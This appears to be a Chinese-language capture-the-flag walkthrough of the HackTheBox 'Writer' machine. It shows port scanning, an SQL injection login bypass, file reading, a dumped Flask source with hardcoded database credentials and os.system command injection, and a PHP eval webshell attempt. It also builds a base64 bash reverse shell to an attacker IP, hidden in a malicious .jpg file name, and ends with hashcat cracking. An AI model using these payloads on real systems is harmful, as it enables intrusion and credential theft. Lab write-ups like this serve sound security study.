sql注入读文件,代码审计出文件名命令注入
前言

只写到user权限,谷歌翻了不少walkthrough,但都没讲清是怎么枚举找到这个smtp服务的。

信息收集
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 13m44s
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   WRITER<00>           Flags: <unique><active>
|   WRITER<03>           Flags: <unique><active>
|   WRITER<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-14T08:26:26
|_  start_date: N/A

进一步针对web和smb服务收集信息。

web先手动看了一波,没什么突破,再进行目录爆破。

dirb http://10.10.11.101/  Documents/SecLists-2021.3.1/Discovery/Web-Content/directory-list-2.3-small.txt

先让web跑着smb试试admin空密码登录

mbclient -L 10.10.11.101 -U admin% 

hackthebox Writer_mysql
发现共享目录writer2_project,但是admin和空密码并没有登录成功。又尝试了一些账密还是不行。

先等等web吧。漫长的等待之后(dirb感觉好像是有点慢)
hackthebox Writer_html_02
爆出管理路径了!

漏洞分析与利用

页面就一个登录框。基本也就:框架本身漏洞、sql注入、暴力破解三种思路了。
sqlmap跑出来了
hackthebox Writer_#define_03

既然能注入,那直接万能密码登录啊
账号:admin' or '1'='1'-- ,密码随便填。登录成功
hackthebox Writer_mysql_04
后台翻了一圈,stories的修改处和settings里都有文件上传,但限制了jpg后缀(服务端检测)。苦思良久绕不过去。

又尝试了下修改文章的正文,插入html形式的webshell

<script language="php">@eval($_POST[sb])</script> 

但是查看源码发现被转义了
hackthebox Writer_#define_05
????搞不定了,开始摇人(google):

阅读大佬walkthrough得到攻击路径:登录处sql注入读apache配置文件得到网站文件路径->代码审计->命令注入->反弹shell
根据之前sqlmap给的联合查询payload,改一个读取文件的。
hackthebox Writer_html_06

读取/etc/passwd成功,且在响应包中暴露Apache2.4.41,当然web指纹识别时已知了。
接下来读取apache的配置文件以寻找web目录及源代码
/etc/apache2/sites-enabled/000-default.conf
hackthebox Writer_mysql_07
发现网站路径/var/www/writer.htb/writer.wsgi和/var/www/writer.htb/static

static目录下有目录遍历,存在图片目录(可以看到别人上传的文件,获取下一步思路也是非预期了)

继续读取writer.wsgi文件(不截图,直接放内容了)

Welcome #!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,&#34;/var/www/writer.htb/&#34;)

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get(&#34;SECRET_KEY&#34;, &#34;&#34;)

其中又引入init.py文件,继续读它。要注意它的引入是from writer import app as....

根据python的引入语法,这表明writer.wsgi文件有一个同级目录writer,即这个init.py的路径为

/var/www/writer.htb/writer/__init__.py

hackthebox Writer_mysql_08

Welcome from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib

app = Flask(__name__,static_url_path=&#39;&#39;,static_folder=&#39;static&#39;,template_folder=&#39;templates&#39;)

#Define connection for database
def connections():
    try:
        connector = mysql.connector.connect(user=&#39;admin&#39;, password=&#39;ToughPasswordToCrack&#39;, host=&#39;127.0.0.1&#39;, database=&#39;writer&#39;)
        return connector
    except mysql.connector.Error as err:
        if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
            return (&#34;Something is wrong with your db user name or password!&#34;)
        elif err.errno == errorcode.ER_BAD_DB_ERROR:
            return (&#34;Database does not exist&#34;)
        else:
            return (&#34;Another exception, returning!&#34;)
    else:
        print (&#39;Connection to DB is ready!&#39;)

#Define homepage
@app.route(&#39;/&#39;)
def home_page():
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM stories;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;blog/blog.html&#39;, results=results)

#Define about page
@app.route(&#39;/about&#39;)
def about():
    return render_template(&#39;blog/about.html&#39;)

#Define contact page
@app.route(&#39;/contact&#39;)
def contact():
    return render_template(&#39;blog/contact.html&#39;)

#Define blog posts
@app.route(&#39;/blog/post/&lt;id&gt;&#39;, methods=[&#39;GET&#39;])
def blog_post(id):
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    cursor.execute(&#34;SELECT * FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id})
    results = cursor.fetchall()
    sql_command = &#34;SELECT * FROM stories;&#34;
    cursor.execute(sql_command)
    stories = cursor.fetchall()
    return render_template(&#39;blog/blog-single.html&#39;, results=results, stories=stories)

#Define dashboard for authenticated users
@app.route(&#39;/dashboard&#39;)
def dashboard():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    return render_template(&#39;dashboard.html&#39;)

#Define stories page for dashboard and edit/delete pages
@app.route(&#39;/dashboard/stories&#39;)
def stories():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    cursor = connector.cursor()
    sql_command = &#34;Select * From stories;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;stories.html&#39;, results=results)

@app.route(&#39;/dashboard/stories/add&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def add_story():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        if request.files[&#39;image&#39;]:
            image = request.files[&#39;image&#39;]
            if &#34;.jpg&#34; in image.filename:
                path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename)
                image.save(path)
                image = &#34;/img/{}&#34;.format(image.filename)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;add.html&#39;, error=error)

        if request.form.get(&#39;image_url&#39;):
            image_url = request.form.get(&#39;image_url&#39;)
            if &#34;.jpg&#34; in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename))
                    image = &#34;{}.jpg&#34;.format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace(&#39;/tmp/&#39;,&#39;&#39;)
                        os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image))
                        image = &#34;/img/{}&#34;.format(image)
                    except PIL.UnidentifiedImageError:
                        os.system(&#34;rm {}&#34;.format(image))
                        error = &#34;Not a valid image file!&#34;
                        return render_template(&#39;add.html&#39;, error=error)
                except:
                    error = &#34;Issue uploading picture&#34;
                    return render_template(&#39;add.html&#39;, error=error)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;add.html&#39;, error=error)
        author = request.form.get(&#39;author&#39;)
        title = request.form.get(&#39;title&#39;)
        tagline = request.form.get(&#39;tagline&#39;)
        content = request.form.get(&#39;content&#39;)
        cursor = connector.cursor()
        cursor.execute(&#34;INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,&#39;Published&#39;,now(),%(image)s);&#34;, {&#39;author&#39;:author,&#39;title&#39;: title,&#39;tagline&#39;: tagline,&#39;content&#39;: content, &#39;image&#39;:image })
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)
    else:
        return render_template(&#39;add.html&#39;)

@app.route(&#39;/dashboard/stories/edit/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def edit_story(id):
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        if request.files[&#39;image&#39;]:
            image = request.files[&#39;image&#39;]
            if &#34;.jpg&#34; in image.filename:
                path = os.path.join(&#39;/var/www/writer.htb/writer/static/img/&#39;, image.filename)
                image.save(path)
                image = &#34;/img/{}&#34;.format(image.filename)
                cursor = connector.cursor()
                cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id})
                result = connector.commit()
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
        if request.form.get(&#39;image_url&#39;):
            image_url = request.form.get(&#39;image_url&#39;)
            if &#34;.jpg&#34; in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system(&#34;mv {} {}.jpg&#34;.format(local_filename, local_filename))
                    image = &#34;{}.jpg&#34;.format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace(&#39;/tmp/&#39;,&#39;&#39;)
                        os.system(&#34;mv /tmp/{} /var/www/writer.htb/writer/static/img/{}&#34;.format(image, image))
                        image = &#34;/img/{}&#34;.format(image)
                        cursor = connector.cursor()
                        cursor.execute(&#34;UPDATE stories SET image = %(image)s WHERE id = %(id)s&#34;, {&#39;image&#39;:image, &#39;id&#39;:id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system(&#34;rm {}&#34;.format(image))
                        error = &#34;Not a valid image file!&#34;
                        return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
                except:
                    error = &#34;Issue uploading picture&#34;
                    return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
            else:
                error = &#34;File extensions must be in .jpg!&#34;
                return render_template(&#39;edit.html&#39;, error=error, results=results, id=id)
        title = request.form.get(&#39;title&#39;)
        tagline = request.form.get(&#39;tagline&#39;)
        content = request.form.get(&#39;content&#39;)
        cursor = connector.cursor()
        cursor.execute(&#34;UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s&#34;, {&#39;title&#39;:title, &#39;tagline&#39;:tagline, &#39;content&#39;:content, &#39;id&#39;: id})
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)

    else:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        return render_template(&#39;edit.html&#39;, results=results, id=id)

@app.route(&#39;/dashboard/stories/delete/&lt;id&gt;&#39;, methods=[&#39;GET&#39;, &#39;POST&#39;])
def delete_story(id):
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
    if request.method == &#34;POST&#34;:
        cursor = connector.cursor()
        cursor.execute(&#34;DELETE FROM stories WHERE id = %(id)s;&#34;, {&#39;id&#39;: id})
        result = connector.commit()
        return redirect(&#39;/dashboard/stories&#39;)
    else:
        cursor = connector.cursor()
        cursor.execute(&#34;SELECT * FROM stories where id = %(id)s;&#34;, {&#39;id&#39;: id})
        results = cursor.fetchall()
        return render_template(&#39;delete.html&#39;, results=results, id=id)

#Define user page for dashboard
@app.route(&#39;/dashboard/users&#39;)
def users():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return &#34;Database Error&#34;
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM users;&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;users.html&#39;, results=results)

#Define settings page
@app.route(&#39;/dashboard/settings&#39;, methods=[&#39;GET&#39;])
def settings():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    try:
        connector = connections()
    except mysql.connector.Error as err:
        return &#34;Database Error!&#34;
    cursor = connector.cursor()
    sql_command = &#34;SELECT * FROM site WHERE id = 1&#34;
    cursor.execute(sql_command)
    results = cursor.fetchall()
    return render_template(&#39;settings.html&#39;, results=results)

#Define authentication mechanism
@app.route(&#39;/administrative&#39;, methods=[&#39;POST&#39;, &#39;GET&#39;])
def login_page():
    if (&#39;user&#39; in session):
        return redirect(&#39;/dashboard&#39;)
    if request.method == &#34;POST&#34;:
        username = request.form.get(&#39;uname&#39;)
        password = request.form.get(&#39;password&#39;)
        password = hashlib.md5(password.encode(&#39;utf-8&#39;)).hexdigest()
        try:
            connector = connections()
        except mysql.connector.Error as err:
            return (&#34;Database error&#34;)
        try:
            cursor = connector.cursor()
            sql_command = &#34;Select * From users Where username = &#39;%s&#39; And password = &#39;%s&#39;&#34; % (username, password)
            cursor.execute(sql_command)
            results = cursor.fetchall()
            for result in results:
                print(&#34;Got result&#34;)
            if result and len(result) != 0:
                session[&#39;user&#39;] = username
                return render_template(&#39;success.html&#39;, results=results)
            else:
                error = &#34;Incorrect credentials supplied&#34;
                return render_template(&#39;login.html&#39;, error=error)
        except:
            error = &#34;Incorrect credentials supplied&#34;
            return render_template(&#39;login.html&#39;, error=error)
    else:
        return render_template(&#39;login.html&#39;)

@app.route(&#34;/logout&#34;)
def logout():
    if not (&#39;user&#39; in session):
        return redirect(&#39;/&#39;)
    session.pop(&#39;user&#39;)
    return redirect(&#39;/&#39;)

if __name__ == &#39;__main__&#39;:
   app.run(&#34;0.0.0.0&#34;)

被html实体编码了,勉强也能看,就不改了。注意到add_story(),edit_story()函数都存在os.system()的命令注入问题。

我们利用image_url这个

        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg"; in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system(";mv {} {}.jpg";.format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)

先生成反弹shell的命令

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.43/1234 0>&1'"|base64

YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40My8xMjM0IDA+JjEn

再做一个恶意文件名的文件

touch 'wuerror.jpg;`echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40My8xMjM0IDA+JjEn|base64 -d|bash`;'

file:///var/www/writer.htb/writer/static/img/
hackthebox Writer_sql_09
成功得到反弹shell,查看家目录发现有两个用户john和kyle。user.txt在kyle目录下。先爆破一下试试。
同时去翻看文件夹寻找有无备份或者敏感信息。
mysql开着,去看看它的配置文件
hackthebox Writer_sql_10

hackthebox Writer_mysql_11

hashcat -a 0 -m 10000 'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=' --wordlist ../Documents/SecLists-2021.3.1/Passwords/Leaked-Databases/rockyou-50.txt --show

hackthebox Writer_html_12

hackthebox Writer_html_13